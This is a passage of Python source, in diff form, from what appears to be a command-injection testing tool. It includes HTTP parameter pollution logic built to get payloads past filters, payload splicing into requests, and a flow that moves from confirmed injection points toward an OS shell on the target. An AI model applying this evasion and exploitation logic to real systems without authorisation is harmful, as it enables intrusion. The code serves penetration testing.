settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(process) + pass + +""" +Process the defined injectable value +""" +""" +The same parameter sent twice, with the payload where the application will read it. + +A filter and the application behind it do not have to agree about which of two same-named parameters +counts. Where they disagree, a value that passes inspection can be sent in the occurrence the filter +reads, and the payload in the one the application reads. + +Which that is belongs to the platform, so the banner decides it. A platform that joins the two rather +than choosing between them is told about instead of worked around: a joined value arrives with the +separator inside it, and there is no comment in a shell that can swallow one the way there is in a +query, so nothing sent this way would run. +""" +def polluted_parameter(target, payload): + if not menu.options.hpp or not payload: + return target + if settings.IS_JSON or settings.IS_XML or settings.IS_GRAPHQL: + if not settings.HPP_POSITION_SAID: + settings.HPP_POSITION_SAID = True + warn_msg = "Parameter pollution applies to ordinary GET and POST parameters, not to a structured body." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return target + # The parameter the payload landed in, named by what sits in front of it. + at = target.rfind(payload) + if at < 1: + return target + named = re.search(r"([^&?=\s]+)=$", target[:at]) + if not named: + return target + banner = (settings.SERVER_BANNER or "").lower() + if any(_ in banner for _ in settings.HPP_CONCATENATES): + if not settings.HPP_POSITION_SAID: + settings.HPP_POSITION_SAID = True + warn_msg = "This target joins same-named parameters rather than choosing between them, which leaves " + warn_msg += "the separator inside the command - '--hpp' cannot help here." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return target + first_wins = any(_ in banner for _ in settings.HPP_FIRST_WINS) + last_wins = any(_ in banner for _ in settings.HPP_LAST_WINS) + name = named.group(1) + # The parameter's own value, not the stand-in that replaces it where the sink turned out not to + # need it: this occurrence is the one meant to read as the value the application was sent, and a + # filter that checks the shape of what it is given rejects three random letters where it would + # have passed an address. The payload's own occurrence still carries whatever is in the carrier. + original = settings.VALUE_SKIPPED_EARLY[0] if settings.VALUE_SKIPPED_EARLY else settings.TESTABLE_VALUE + original = original if original and original.strip() else "" + if not settings.HPP_POSITION_SAID: + settings.HPP_POSITION_SAID = True + info_msg = "Sending '" + name + "' twice, with the payload " + info_msg += "first" if first_wins else "last" + # Which occurrence is read was established only where the banner named a platform that is known + # to choose one. A banner that named nothing, or nothing recognised, leaves the position where + # the most commonly tested platforms read it - which is a guess, and is said as one rather than + # as something the target was asked. + if first_wins or last_wins: + info_msg += " - which is the one '" + settings.SERVER_BANNER + "' reads." + elif settings.SERVER_BANNER: + info_msg += ", which is where the platforms most often tested read it - '" + settings.SERVER_BANNER + info_msg += "' names nothing that says which of the two it chooses." + else: + info_msg += ", which is where the platforms most often tested read it - this target named " + info_msg += "nothing to decide it by." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if first_wins: + polluted = payload + "&" + name + "=" + original + else: + polluted = original + "&" + name + "=" + payload + return target[:at] + polluted + target[at + len(payload):] + +""" +Splice the payload into what carries it. + +'pollute' is the caller's to say, because only the caller knows what it is handing over. A query +string and a form body separate their parameters with '&' and can carry the same name twice; a +cookie separates with ';', and a second '&name=' there is not another cookie but more of the value +of the first - so a carrier that was not asked to be polluted is left as it is. +""" +def process_injectable_value(payload, data, pollute=False): + # An empty value has nothing to mask, and masking on one would put the tag between every + # character of the carrier - the injection tag already says where the payload goes, so an empty + # value is spliced on that alone. Stood in for by a single whitespace, as it was, that space + # reached the target as the value's own first byte, in front of every payload: a sink reading + # that byte for itself - a leading '|' handed to an interpreter's own open() - was never once + # sent the separator it was being tested with. + if len(settings.TESTABLE_VALUE) == 0: + spliced = data.replace(settings.INJECT_TAG, payload) + return polluted_parameter(spliced, payload) if pollute else spliced + # Regenerate the tag if it overlaps the testable value. + random_tag = settings.RANDOM_TAG + while random_tag in settings.TESTABLE_VALUE or settings.TESTABLE_VALUE in random_tag: + random_tag = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) + masked = data.replace(settings.TESTABLE_VALUE, random_tag) + if settings.TESTABLE_VALUE in masked.replace(settings.INJECT_TAG, ""): + spliced = masked.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(random_tag, settings.TESTABLE_VALUE) + else: + spliced = masked.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE) + return polluted_parameter(spliced, payload) if pollute else spliced + +""" +Remove all injection tags from provided data +""" +def remove_tags(data): + if not data: + data = "" + data = data.replace(settings.INJECT_TAG,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + # The marker character is one only where the run found it in the user's own input - anywhere else + # it is an ordinary character, and a command such as "ls *.php" has to reach the target intact. + if settings.CUSTOM_INJECTION_MARKER is not None: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") + return data + +""" +Process data with custom injection marker character ('*') +""" +def process_custom_injection_data(data): + if not isinstance(data, str): + # Safely return empty string if input is not a valid string + return "" + + if settings.CUSTOM_INJECTION_MARKER is not None: + lines = [] + for line in data.split(settings.END_LINE.ESCAPED_LF): + if not line.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in line: + if menu.options.test_parameter is not None and settings.CUSTOM_INJECTION_MARKER is False: + line = remove_tags(line) + line = line.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + lines.append(line) + + # Remove duplicates, then rejoin lines + # Taken off as the sequence it is, not as the set of characters it is written with: rstrip() + # reads its argument as a set, so a value ending in 'n' or a backslash lost them here. + data = settings.END_LINE.ESCAPED_LF.join(list(dict.fromkeys(lines))) + while data.endswith(settings.END_LINE.ESCAPED_LF): + data = data[:-len(settings.END_LINE.ESCAPED_LF)] + + return data + +""" +Check for custom injection marker character ('*'). +""" +def custom_injection_marker_character(url, http_request_method): + found = settings.CUSTOM_INJECTION_MARKER = False + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] + + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: + option = "'-u'" + found = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = True + if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: + option = str(http_request_method) + " body" + found = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True + if not found: + option = "option '--header(s)/--user-agent/--referer/--cookie'" + # Whether the value carries the marker that says where a payload goes. + def has_marker(value): + return bool(value) and settings.CUSTOM_INJECTION_MARKER_CHAR in re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value) + + if has_marker(menu.options.cookie): + settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True + if has_marker(menu.options.agent): + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True + if has_marker(menu.options.referer): + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True + if has_marker(menu.options.host): + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True + if has_marker(menu.options.header) or has_marker(menu.options.headers): + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True + if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: + settings.CUSTOM_INJECTION_MARKER = True + else: + settings.CUSTOM_HEADER_INJECTION = True + + if settings.CUSTOM_INJECTION_MARKER: + while True: + message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". " + message += "Do you want to process it? [Y/n] " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + return True + elif procced_option in settings.CHOICE_NO: + return False + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + +""" +Logging a debug message when a specific injection technique is being skipped. +""" +def skipping_technique(technique, injection_type, state): + if settings.VERBOSITY_LEVEL != 0 and state is not True: + debug_msg = "Skipping the " + technique_label(injection_type, technique) + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +Prompt the user to select a mobile User-Agent string. +""" +def mobile_user_agents(): + devices, default_index = common.load_mobile_user_agents() + menu.mobile_user_agents(devices, default_index) + + while True: + message = "Which smartphone do you want " + settings.APPLICATION + " to imitate through HTTP User-Agent header? " + mobile_user_agent = common.read_input(message, default=str(default_index + 1), check_batch=True) + try: + choice = int(mobile_user_agent) + if choice in range(1, len(devices) + 1): + return devices[choice - 1][1] + else: + common.invalid_option(mobile_user_agent) + except ValueError: + if mobile_user_agent.lower() == "q": + raise SystemExit() + else: + common.invalid_option(mobile_user_agent) + + +""" +Run host OS command(s) when injection point is found. +""" +def alert(): + if settings.ALERT: + info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + process = subprocess.Popen(menu.options.alert, shell=True) + process.wait() + except Exception: + err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Check for HTTP Method +""" +def check_http_method(url): + if settings.CRAWLING and not settings.USER_DEFINED_POST_DATA: + http_request_method = settings.HTTPMETHOD.GET + elif menu.options.method: + http_request_method = menu.options.method.upper() + # A target that arrived carrying a method of its own - a request file, a proxy log, an operation a + # specification describes - is asked the way it says to ask it. Worked out from whether it has a + # body instead, every method that is neither GET nor POST would be sent as one of those two. + elif settings.HTTP_METHOD: + http_request_method = settings.HTTP_METHOD.upper() + elif isinstance(url, str) and settings.INJECT_TAG in url: + http_request_method = settings.HTTPMETHOD.GET + else: + if settings.COOKIE_INJECTION: + http_request_method = settings.COOKIE + elif settings.USER_DEFINED_POST_DATA: + http_request_method = settings.HTTPMETHOD.POST + else: + http_request_method = settings.HTTPMETHOD.GET + return http_request_method + +""" +True (having said so) when Metasploit isn't installed - every msfvenom-backed payload needs it. +""" +def metasploit_missing(): + if os.path.exists(settings.METASPLOIT_PATH): + return False + settings.print_data_to_stdout(settings.print_error_msg(settings.METASPLOIT_ERROR_MSG)) + return True + +""" +Suggest '--os-shell', unless it is already in play. Held back rather than printed here: it is +advice about the next run, so it belongs with the last lines of this one and not in the middle of +the output of whatever the finding is being used for. +""" +def suggest_os_shell(): + if not menu.options.os_shell: + settings.OS_SHELL_SUGGESTION_PENDING = True + +""" +Print the held-back '--os-shell' suggestion, once, wherever the run ends. +""" +def flush_os_shell_suggestion(): + if not settings.OS_SHELL_SUGGESTION_PENDING: + return + settings.OS_SHELL_SUGGESTION_PENDING = False + info_msg = "Re-run with the '--os-shell' switch to access a command shell." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +What every target is owed once it is done with, whether or not the run ends here: the out-of-band +channel is closed and the file left for the command output is offered for deletion. Separate from +quit(), which always raises - so with several targets this never used to be reached at all. +""" +def finish_target(): + close_oob_channel() + logs.write_results_rows() + for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()): + cleanup_fn() + settings.PENDING_FILE_CLEANUPS.clear() + if settings.LEFTOVER_FILES: + info_msg = "Files left behind: " + ", ".join(settings.LEFTOVER_FILES) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + del settings.LEFTOVER_FILES[:] + # Said once at the end rather than per request: what was dropped is worth knowing, since results + # are read from the requests that did answer. + if settings.IGNORED_TIMEOUTS: + info_msg = str(settings.IGNORED_TIMEOUTS) + " request" + info_msg += "s"[settings.IGNORED_TIMEOUTS == 1:] + " timed out and " + info_msg += ("were" if settings.IGNORED_TIMEOUTS != 1 else "was") + " skipped ('--ignore-timeouts')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.IGNORED_TIMEOUTS = 0 + +""" +Technique letters written out. Used to name what a run did not look at. +""" +def technique_names(letters): + chosen = [settings.TECHNIQUE_LETTER_NAMES[_] for _ in settings.AVAILABLE_TECHNIQUES if _ in letters] + if not chosen: + return "" + name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1] + return name + " technique" + "s"[len(chosen) == 1:] + +# The techniques this run was told to leave out, named for the message that says so. +def untested_techniques(): + return technique_names([_ for _ in settings.AVAILABLE_TECHNIQUES if _ not in menu.options.tech]) + +""" +The payload builder the time-based technique uses: the same technique reaches either sink, and what +differs is only what the payload is written in - shell for a command, the language for an evaluation. +""" +def time_based_payloads(): + if menu.options.eval_sink: + from src.core.eval.payloads import time_based as payloads + else: + from src.core.techniques.time_based import tb_payloads as payloads + return payloads + +""" +The payload builder the file-based technique uses, chosen the same way: the file it writes and reads +back is the technique's, and the sink only decides how the command that fills it is reached. +""" +def boolean_based_payloads(): + if menu.options.eval_sink: + from src.core.eval.payloads import boolean_based as payloads + else: + from src.core.techniques.boolean_based import bb_payloads as payloads + return payloads + +""" +The payload builder the file-based technique uses, chosen the same way. +""" +def file_based_payloads(): + if menu.options.eval_sink: + from src.core.eval.payloads import file_based as payloads + else: + from src.core.techniques.file_based import fb_payloads as payloads + return payloads + +""" +The payload builder the tempfile-based technique uses, chosen the same way: the file it writes and +then reads back a byte at a time is the technique's, and the sink only decides how the command that +fills it is reached, and in whose language the reading is asked for. +""" +def tempfile_based_payloads(): + if menu.options.eval_sink: + from src.core.eval.payloads import tempfile_based as payloads + else: + from src.core.techniques.tempfile_based import tfb_payloads as payloads + return payloads + +""" +The prefixes an evaluation sink is reached through, the language's own execution functions included. + +Built fresh every time rather than by rewriting the lists: this is asked for once per parameter, and +wrapping in place would wrap what the last parameter already wrapped. +""" +def eval_prefixes(): + prefixes = list(settings.EVAL_PREFIXES) + for function in settings.EXECUTION_FUNCTIONS: + # How a function is reached is the language's own spelling, not something to assume here. + candidate = settings.EVAL_GRAMMAR.execution_prefix(function) + if candidate not in prefixes: + prefixes.append(candidate) + return prefixes + +""" +The boundaries a payload is wrapped in: what breaks into a shell command is not what breaks into a +string the target evaluates, so the sink chooses them rather than the technique. +""" +def sink_boundaries(): + if menu.options.eval_sink: + return settings.EVAL_PREFIXES, settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS + """ + A suffix whose whole job is to comment out what follows it is a suffix only where the shell has a + comment to write. 'cmd.exe' has none that a trailing marker can use - 'REM' begins a statement + rather than ending one - so a POSIX '#' asked of a Windows target is a boundary it cannot honour, + sent once per separator on every parameter tested. + """ + suffixes = settings.SUFFIXES + if settings.TARGET_OS == settings.OS.WINDOWS: + suffixes = [candidate for candidate in suffixes if candidate.strip() != settings.COMMENT] + return settings.PREFIXES, suffixes, settings.SEPARATORS + +""" +What the grammar in hand calls a separator, which is not what this target can chain on - the latter +is what 'chainable_separators()' narrows the list to, and a suffix is dead against a payload that +closed itself whether or not this target happens to chain on it. +""" +def grammar_separators(): + if menu.options.eval_sink: + return settings.EVAL_SEPARATORS + return settings.SEPARATORS + +""" +Whether a technique is one this run is testing. Two separate choices sit behind it: which sink is +being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique +runs when its letter was asked for and it reaches the sink in hand, so the two compose. + +Out-of-band is not one of the techniques '--technique' names - its letter is not in +settings.AVAILABLE_TECHNIQUES, so a user can never ask for it there, and naming a technique +alongside '--oob' is refused rather than merged. The switch selects the out-of-band technique on +its own, which leaves it the only one this run is testing. +""" +def technique_selected(tech_letter, eval_sink=False): + if tech_letter == settings.OOB_TECHNIQUE_LETTER: + return bool(menu.options.oob) + if bool(menu.options.eval_sink) != bool(eval_sink): + return False + return len(menu.options.tech) == 0 or tech_letter in menu.options.tech + +""" +Whether this run is working through several targets rather than the one it was pointed at. + +Wider than the flag a target list sets, because a crawl and a page of forms are the same thing +arrived at differently: the run was given somewhere to look rather than something to test, and what +it finds is a set of findings rather than one. +""" +def several_targets(): + return bool(settings.MULTI_TARGETS or settings.CRAWLING or menu.options.crawldepth or + menu.options.forms or menu.options.sitemap_url or menu.options.bulkfile) + +""" +Whether what was found on this target is to be acted on, or only reported. + +Worth asking where there is another target waiting: a list is gone through to find out which of its +entries are vulnerable, and being dropped into a shell on the first one - or made to sit through an +enumeration of it - is not what that run was started for. A single target is what the run is about, +so nothing is asked there and the answer is yes. +""" +def exploit_this_target(): + if not several_targets() or not settings.CONFIRMED_INJECTION_POINTS: + return True + while True: + message = "Do you want to exploit this injection point? [Y/n] " + exploit = common.read_input(message, default="Y", check_batch=True) + if exploit in settings.CHOICE_YES: + return True + elif exploit in settings.CHOICE_NO: + return False + elif exploit in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(exploit) + pass + +""" +Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally. +""" +def quit(filename, url, hard_exit): + exploit = exploit_this_target() + if settings.CONFIRMED_INJECTION_POINTS: + confirmed_injection_points_summary() + if exploit: + suggest_os_shell() + settings.CONFIRMED_INJECTION_POINTS = [] + # Post-detection actions run once, after detection finishes. + if not exploit: + settings.PENDING_POST_DETECTION_ACTIONS = [] + settings.PENDING_OS_SHELL_ENTRY = None + else: + # From here on the commands are the ones the user asked for. + settings.EXPLOITATION_STARTED = True + for action_fn in list(settings.PENDING_POST_DETECTION_ACTIONS): + action_fn() + settings.PENDING_POST_DETECTION_ACTIONS = [] + # Asked for with '--proof': run after everything the detection had to say, so the evidence stands + # on its own rather than in the middle of the run's own reporting. + from src.core.controller import proof + proof.prove(filename, url) + # Recurses into quit() when the shell exits; the rest runs there. + if settings.PENDING_OS_SHELL_ENTRY: + entry = settings.PENDING_OS_SHELL_ENTRY + settings.PENDING_OS_SHELL_ENTRY = None + entry() + finish_target() + if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN: + settings.LOGS_NOTIFICATION_SHOWN = True + logs.logs_notification(filename) + logs.print_logs_notification(filename, url) + common.show_http_error_codes() + if hard_exit: + raise exit() + else: + raise SystemExit() + +""" +User aborted procedure +""" +def user_aborted(filename, url): + settings.clear_current_line() + save_cmd_history() + abort_msg = "User aborted procedure " + abort_msg += "during the " + assessment_phase() + abort_msg += " phase (Ctrl-C pressed)." + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) + if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN: + settings.LOGS_NOTIFICATION_SHOWN = True + logs.logs_notification(filename) + logs.print_logs_notification(filename, url) + common.show_http_error_codes() + raise exit() + +""" +Prompts for and applies a new verbosity level (0-4) - used by the Ctrl-C menus. +""" +def change_verbosity(): + msg = "Enter new verbosity level (0-4) [current: " + str(settings.VERBOSITY_LEVEL) + "] " + # Ctrl-C is itself an explicit request for attention - always prompt for + # real input here, even under --batch. + choice = common.read_input(msg, default=str(settings.VERBOSITY_LEVEL), check_batch=False) + try: + level = int(choice or settings.VERBOSITY_LEVEL) + except ValueError: + level = None + if level is not None and 0 <= level <= 4: + settings.VERBOSITY_LEVEL = level + menu.options.verbose = level + info_msg = "Verbosity level set to " + str(level) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + warn_msg = "Invalid verbosity level - keeping the current value (" + str(settings.VERBOSITY_LEVEL) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Ctrl-C during detection - ask how to proceed instead of aborting outright. +""" +def handle_detection_interrupt(filename, url): + settings.clear_current_line() + if settings.MULTI_TARGETS: + msg = "How do you want to proceed? [(C)ontinue/ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " + valid_choices = ("c", "x", "s", "e", "n", "v", "q") + else: + msg = "How do you want to proceed? [(C)ontinue/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " + valid_choices = ("c", "s", "e", "n", "v", "q") + default = "C" + choice = "q" + try: + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default=default, check_batch=False) or default).strip().lower() + if choice in valid_choices: + break + common.invalid_option(choice) + except KeyboardInterrupt: + settings.clear_current_line() + choice = "q" + if choice == "c": + raise settings.RetryTechniqueException() + elif choice == "v": + change_verbosity() + raise settings.RetryTechniqueException() + elif choice == "x": + raise settings.NextTargetException() + elif choice == "e": + raise settings.EndDetectionPhaseException() + elif choice == "n": + raise settings.NextParameterException() + elif choice == "q": + user_aborted(filename, url) + else: + # "s" - move on to the next technique. + raise settings.SkipTechniqueException() + +""" +Ctrl-C outside the per-test loop (heuristics, WAF check, identification) - +too coarse to resume one specific test, so just offer to move on or quit. +""" +def handle_early_interrupt(filename, url): + if not settings.MULTI_TARGETS: + user_aborted(filename, url) + settings.clear_current_line() + msg = "How do you want to proceed? [ne(X)t target/(v)erbosity/(q)uit] " + choice = "q" + try: + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default="X", check_batch=False) or "X").strip().lower() + if choice in ("x", "v", "q"): + break + common.invalid_option(choice) + except KeyboardInterrupt: + settings.clear_current_line() + choice = "q" + if choice == "v": + # No further prompting - changing verbosity just continues (next target). + change_verbosity() + return + if choice == "q": + user_aborted(filename, url) + +""" +Ctrl-C during exploitation (shell, calibration, enumeration) - a vulnerability +is already confirmed, so the only real choice is whether to keep going. +""" +def handle_exploitation_interrupt(filename, url): + settings.clear_current_line() + # "v" here, not "c" - "C" is already taken by "Continue" in this menu. + msg = "How do you want to proceed? [(C)ontinue/(v)erbosity/(q)uit] " + choice = "q" + try: + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default="C", check_batch=False) or "C").strip().lower() + if choice in ("c", "v", "q"): + break + common.invalid_option(choice) + except KeyboardInterrupt: + settings.clear_current_line() + choice = "q" + if choice == "v": + # No further prompting - changing verbosity just continues. + change_verbosity() + return + if choice == "q": + user_aborted(filename, url) + +""" +Connection exceptions +""" +def connection_exceptions(err_msg): + # A request that cannot be encoded is not a connection that failed: every retry builds the same + # one again, and the target never sees any of them. + if "codec can't encode" in str(err_msg): + error_msg = "Unable to build the request (" + str(err_msg) + "). An HTTP header carries only " + error_msg += "the characters the protocol can encode, so a value given with any other is never sent." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + requests.request_failed(err_msg) + with settings.REQUESTS_LOCK: + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.MAX_RETRIES > 1: + delay = stability.retry_delay_seconds() + if delay: + time.sleep(delay) + if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)): + warn_msg = "Connection error (" + str(err_msg) + "), retrying request (" + str(settings.TOTAL_OF_REQUESTS) + "/" + str(settings.MAX_RETRIES) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.VISIBLE_CONNECTION_ERRORS += 1 + if not settings.VALID_URL : + if stability.should_abandon_target(): + raise SystemExit() + +""" +Tab Autocompleter +""" +def tab_autocompleter(): + try: + # MacOSX tab compliter + if 'libedit' in readline.__doc__: + readline.parse_and_bind("bind ^I rl_complete") + else: + readline.parse_and_bind("tab: complete") + readline.set_completer_delims(" \t\n") + # Tab compliter + readline.set_completer(menu.tab_completer) + except (TypeError, AttributeError): + error_msg = "Failed to initialize tab completion with the platform's readline library." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + +""" +Load commands from history. +""" +def load_cmd_history(): + if settings.READLINE_ERROR: + return + try: + cli_history = settings.CLI_HISTORY + # An empty file holds no history to load, and holds no header for the platform's own history + # format either - so reading it fails where there was never anything to read. + if os.path.isfile(cli_history) and os.path.getsize(cli_history): + readline.read_history_file(cli_history) + except (IOError, OSError, AttributeError, UnicodeError): + if settings.VERBOSITY_LEVEL != 0: + warn_msg = "There was a problem loading the history file '" + cli_history + "'." + if settings.IS_WINDOWS: + warn_msg += " See 'https://github.com/pyreadline/pyreadline/issues/30' for more info." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Save command history. +""" +def save_cmd_history(): + if settings.READLINE_ERROR: + return + cli_history = settings.CLI_HISTORY + try: + # Written whether or not the file is already there: writing it is what creates it - though the + # directory it goes in is ours to make, and a run that ends early may not have needed it yet. + if cli_history and readline.get_current_history_length(): + directory = os.path.dirname(cli_history) + if directory and not os.path.isdir(directory): + os.makedirs(directory, exist_ok=True) + readline.set_history_length(settings.MAX_HISTORY_LENGTH) + readline.write_history_file(cli_history) + except (IOError, OSError, AttributeError): + # Every path out of a run saves it, so the same failure would otherwise be reported twice. + if settings.FAILED_HISTORY_FILE != cli_history: + settings.FAILED_HISTORY_FILE = cli_history + warn_msg = "Unable to write the history file '" + cli_history + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Testing technique (title) +""" +def dashless_gap_note(technique): + """ + What a run working a filtered '-' out of its payloads still cannot spell without one. + + 'dashlesstest' reads 'test's comparisons, a word's length and a byte's ordinal without one, which + between them are every '-' the results-, boolean-, time- and file-based techniques write. The + tempfile-based one turns a whole file into the decimals of its bytes, and what performs that is + asked for it through its options - spelled with the one character this target takes away, and + with no other spelling of their own. Said here because a target that strips it answers such a + payload exactly as it answers a parameter that was never injectable. + """ + if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return + if settings.DASHLESS_TAMPER not in settings.MULTI_ENCODED_PAYLOAD: + return + warn_msg = "The '" + settings.DASHLESS_TAMPER + ".py' tamper script reaches every '-' this " + warn_msg += "technique's comparisons are written with, but not the ones its byte reading needs, " + warn_msg += "which are options and have no other spelling. A target that strips a '-' answers " + warn_msg += "this technique as it answers a parameter that is not injectable." + settings.print_once(warn_msg) + +def testing_technique_title(injection_type, technique): + # Said before the title, so what follows it is read knowing what this technique can still be + # refused for - and once, which 'print_once' settles rather than the title's own repeats. + dashless_gap_note(technique) + # A new technique's title - the completion label below is free to print again for it. + settings.LAST_COMPLETED_TECHNIQUE = None + settings.LAST_DOT_BUCKET = -1 + technique = technique_label(injection_type, technique) + announced = (settings.CHECKING_PARAMETER, technique) + # Said again where something came between the title and the testing it announced - the questions + # a file-based technique settles where it writes with, most of all. Asked of that interruption + # rather than of the repeat alone: announced twice with nothing printed in between, there is no + # break for the reader to continue from, and the title stays as it was. + interrupted = settings.PROGRESS_INTERRUPTIONS != settings.LAST_ANNOUNCED_INTERRUPTIONS + # Taken before the two are written back below, or it compares 'announced' against itself. + same_line = settings.LAST_ANNOUNCED_TECHNIQUE == announced and not interrupted + title = "Continue testing the " if (settings.LAST_ANNOUNCED_TECHNIQUE == announced and interrupted) else "Testing the " + if settings.LAST_ANNOUNCED_TECHNIQUE != announced: + settings.LAST_RESUMED_TECHNIQUE = None + settings.LAST_ANNOUNCED_TECHNIQUE = announced + settings.LAST_ANNOUNCED_REQUESTS = settings.TOTAL_OF_REQUESTS + settings.LAST_ANNOUNCED_INTERRUPTIONS = settings.PROGRESS_INTERRUPTIONS + if settings.VERBOSITY_LEVEL != 0: + info_msg = title + technique + ". " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Close a previous technique's dangling "... (done)" line first - unless this is the same line + # about to be written again, which is overwritten in place rather than stacked underneath. + if same_line: + settings.redraw_current_line() + else: + settings.clear_current_line() + info_msg = title + technique + ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + +""" +Injection progress - a "." as testing advances, " (done)" once the technique is finished. +""" +def injection_process(injection_type, technique, done=False, i=None, total=None): + if settings.VERBOSITY_LEVEL != 0: + return + if not settings.PROGRESS_LINE_OPEN: + announced = (settings.CHECKING_PARAMETER, technique_label(injection_type, technique)) + already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced + # The line only closed because something else legitimately printed over it (e.g. a Y/n prompt + # deciding there is nothing left to try), not because testing moved on. Nothing is left to + # close in that case: the technique was already announced, and that other output already + # ended the line - neither re-announcing it nor a bare "(done)" with nothing before it on the + # line says anything the user was not already told. + """ + Nothing left to close, either because nothing happened since the title or because what did + happen already printed itself out. + + A sweep that counted its boundaries off marked them on a line that something else then ended - + the dots are behind it either way. Announcing the technique a second time to put "(done)" after + it writes the title again with the three dots of "please wait..." and nothing of the work, so a + sweep of a hundred questions is signed off looking like one that asked none. + """ + if done and already_announced and (settings.TOTAL_OF_REQUESTS == settings.LAST_ANNOUNCED_REQUESTS + or settings.LAST_DOT_BUCKET != -1): + settings.LAST_COMPLETED_TECHNIQUE = technique + return + # Said a second time where something came between the title and the testing it announced, and + # only a second time: a technique that stops to ask again, and again, would otherwise repeat + # the line for every question. Until there is an ending to report, nothing more is said. + if already_announced and settings.LAST_RESUMED_TECHNIQUE == announced and not done: + return + if already_announced: + settings.LAST_RESUMED_TECHNIQUE = announced + testing_technique_title(injection_type, technique) + if done: + # Can be hit once per false-positive retry on the same technique - only print once. + if settings.LAST_COMPLETED_TECHNIQUE == technique: + return + settings.LAST_COMPLETED_TECHNIQUE = technique + settings.print_data_to_stdout(" (done)") + return + # One dot per combination can get unreadably long - only cross a 4%-wide bucket. + if total: + bucket = int(((i * 100) / total) // 4) + if bucket == settings.LAST_DOT_BUCKET: + return + settings.LAST_DOT_BUCKET = bucket + settings.print_data_to_stdout(".") + +""" +Check value inside boundaries. +""" +def value_inside_boundaries(parameter, http_request_method): + try: + if isinstance(parameter, str): + # Asked whether there are boundaries at all, rather than read off a match that may not be + # there: a value carrying none raised on the spot, and the handler below took that for the + # answer - which left it unable to tell a value with no boundaries from a fault in the + # questions that follow, since both arrived here as the same silence. + bounded = re.search(r"=" 